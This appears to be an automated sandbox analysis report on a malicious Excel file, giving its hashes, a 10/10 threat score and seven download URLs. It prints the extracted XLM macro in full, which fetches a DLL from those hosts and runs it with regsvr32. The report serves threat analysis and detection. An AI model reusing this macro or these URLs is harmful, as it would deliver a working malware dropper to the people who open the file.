General

  • Target

    a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388

  • Size

    122KB

  • Sample

    241120-zyemcatkey

  • MD5

    ee46821b545644533bfb09b32246e29e

  • SHA1

    680bf87bc905c57a83932fa03bdbc7bfbd69a20e

  • SHA256

    a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388

  • SHA512

    09feff97e4cda13beea9cde59d004dba979b20ba5254b82e3d0252bdc1d2e16bc3fc7cedf0d755e7775587ae2f2830ae90fb8753ac7c0a5c2064c042319341b6

  • SSDEEP

    3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/

https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/

https://oneworldlantern.com/9A033MS/

https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/

https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/

https://andrewpharma.com/wp-includes/KKXAiWGL/

https://wxoperate.bb2play.com/framework/1zTlT1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://oneworldlantern.com/9A033MS/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andrewpharma.com/wp-includes/KKXAiWGL/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wxoperate.bb2play.com/framework/1zTlT1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/

xlm40.dropper

https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/

xlm40.dropper

https://oneworldlantern.com/9A033MS/

xlm40.dropper

https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/

xlm40.dropper

https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/

xlm40.dropper

https://andrewpharma.com/wp-includes/KKXAiWGL/

xlm40.dropper

https://wxoperate.bb2play.com/framework/1zTlT1/

Targets

    • Target

      a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388

    • Size

      122KB

    • MD5

      ee46821b545644533bfb09b32246e29e

    • SHA1

      680bf87bc905c57a83932fa03bdbc7bfbd69a20e

    • SHA256

      a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388

    • SHA512

      09feff97e4cda13beea9cde59d004dba979b20ba5254b82e3d0252bdc1d2e16bc3fc7cedf0d755e7775587ae2f2830ae90fb8753ac7c0a5c2064c042319341b6

    • SSDEEP

      3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks